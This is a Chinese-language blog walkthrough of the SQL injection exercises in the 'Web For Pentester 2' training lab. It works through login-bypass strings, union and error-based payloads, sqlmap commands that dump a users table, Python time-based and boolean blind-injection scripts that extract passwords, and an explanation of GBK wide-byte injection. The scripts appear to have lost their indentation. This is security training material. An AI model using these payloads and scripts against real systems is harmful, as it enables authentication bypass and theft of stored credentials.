NEKO

Web For Pentester 2

2017/12/25

SQLI

ex1

源码:

登录:

1
Username:' or '1'='1'#

或者

1
Username:' or '1'#

或者

1
2
3
username: a'='
password: a'='
原理:username='a'为0,则0=''即0=0为1,password那边也是1,1and1为1,登录成功。

或者

1
2
username: \
password: or '1'='1

或者

1
username: '='' or 1=1 or '

或者

1
2
username: ' or 0=
password: '

或者:…以下省略1w种解法
poc:

1
username:' or extractvalue(1,concat(0x7e,(select database()),0x7e))#

或者

1
2
username:' or extractvalue/*
password:*/(1,concat(0x7e,(select database()),0x7e)) or '

或者:…好多解法…
打开burp,截包,右键,copy to file,保存在本地
sqlmap:

1
2
3
sqlmap -r /root/桌面/1.txt --dbs
sqlmap -r /root/桌面/1.txt -D sqlinjection_example1 --tables
sqlmap -r /root/桌面/1.txt -D sqlinjection_example1 -T users --dump

ex2

没看出来源码和ex1有何不同,但万能密码就是不能用了(雾)
此题只要返回结果即可通过验证,用union返回结果,列数用order判断
poc:

1
2
Username:' order by 3#
Username:' union select 1,2,3#

sqlmap操作和ex1相同

ex3

源码:

过滤了’,如果是宽字节注入可以用%df’来绕过,但这题不是。此题思路是闭合单引号
poc:

1
2
Username:\
Password:or 1=1#

这样后台就变成了
Select * from users where Username='\' and Password='or 1=1#'
这个sqlmap没想出来怎么操作,挖坑1/n

ex4

源码:

poc:

1
2
3
4
5
6
7
8
9
table:
http://10.10.10.157/sqlinjection/example4/?req=username='hacker' and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))

报错注入不好看,换一个
column:
http://10.10.10.157/sqlinjection/example4/?req=username='' union select 1,concat(column_name),3 from information_schema.columns where table_name='users'

dump:
http://10.10.10.157/sqlinjection/example4/?req=username='' union select username,password,3 from users

sqlmap没什么好说的,直接跑
sqlmap -u http://10.10.10.157/sqlinjection/example4/?req=username='hacker' --dbs

ex5

源码:

网上都说limit后注入的唯一方法是使用procedure analyse进行报错注入,应该哪里出了问题,用union注入也可以弄出来

poc:

1
2
3
4
5
union:
http://10.10.10.157/sqlinjection/example5/?limit=1 union select 1,2,3

procedure analyse:
http://10.10.10.157/sqlinjection/example5/?limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,version(),0x7e)),1)

sqlmap也是可以直接跑出来的

ex6

源码:

poc:

1
http://10.10.10.157/sqlinjection/example6/?group=username union select 1,2,3

sqlmap直接跑

ex7

源码:

典型的盲注
poc:
给出两种格式(结果后面有加号,是因为将‘+’解析成了空格)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string
dic=string.ascii_letters+string.digits+string.punctuation
flag=''
for j in range(1,100):
for i in dic:
#爆数据库
url1="http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select database())from %s for 1)='%s') then sleep(10) else 0 end)"%(j,i)
_url1="http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select database()),%s,1)='%s',sleep(10),1)"%(j,i)

#爆表
url2="http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))) from %s for 1)='%s') then sleep(10) else 0 end)"%(j,i)
_url2 = "http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)='%s',sleep(10),1)"%(j,i)

#爆列
url3 = "http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))) from %s for 1)='%s') then sleep(10) else 0 end)" % (j, i)
_url3 = "http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1)='%s',sleep(10),1)" % ( j, i)

#爆内容
url4 = "http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select group_concat(password) from users) from %s for 1)='%s') then sleep(10) else 0 end)" % (j, i)
_url4 = "http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select group_concat(password) from users),%s,1)='%s',sleep(10),1)" % (j, i)

try:
r=requests.get(url=_url4,timeout=4)
except:
flag+=i
print(flag)
break

再加个布尔盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string
dic=string.ascii_letters+string.digits+'@,_?'
error_status='Should only return one user...'
flag=''
strs=''
for j in range(50):
for i in dic:
#爆数据库
url1="http://10.10.10.157/sqlinjection/example7/?id=1 and (select database() regexp '^%s')"%(strs+i)
#爆表
url2 = "http://10.10.10.157/sqlinjection/example7/?id=1 and ((select group_concat(table_name) from information_schema.tables where table_schema=database() LIMIT 1) regexp '^%s')" % (strs + i)
#爆列
url3 = "http://10.10.10.157/sqlinjection/example7/?id=1 and ((select group_concat(column_name separator '@') from information_schema.columns where table_name='users') regexp '^%s')" % (strs + i)
#爆内容
url4 = "http://10.10.10.157/sqlinjection/example7/?id=1 and ((select group_concat(password separator '@') from users) regexp '^%s')" % (strs + i)
r=requests.get(url=url4).text
if error_status not in r:
strs+=i
print(strs)
break

sqlmap直接跑

ex8

二次注入

poc:

1
2
a' union select 1,2,3#
但是' union select 1,2,3#是不行的(雾)。

sqlmap貌似跑不出来

ex9

宽字节注入,原来以为以为页面编码是gbk可能是宽字节注入,但这次页面编码是utf-8,更正!是sql使用gbk编码时才会出现宽字节注入。
所以这题是试出来的。

宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:

1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;

2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。

现在基本上都会将mysql的连接配置为“set character_set_client=binary”来解决这个问题

poc:

1
2
http://10.10.10.157/sqlinjection/example9/?username=%df' or 1=1%23 &password=&submit=提交查询  
要在url栏里提交,在表单里提交%会被url编码一次变成%25

sqlmap没跑出来orz

原文作者: n3k0

发表日期: December 25th 2017, 10:15:56

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. SQLI
    1. 1.1. ex1
    2. 1.2. ex2
    3. 1.3. ex3
    4. 1.4. ex4
    5. 1.5. ex5
    6. 1.6. ex6
    7. 1.7. ex7
    8. 1.8. ex8
    9. 1.9. ex9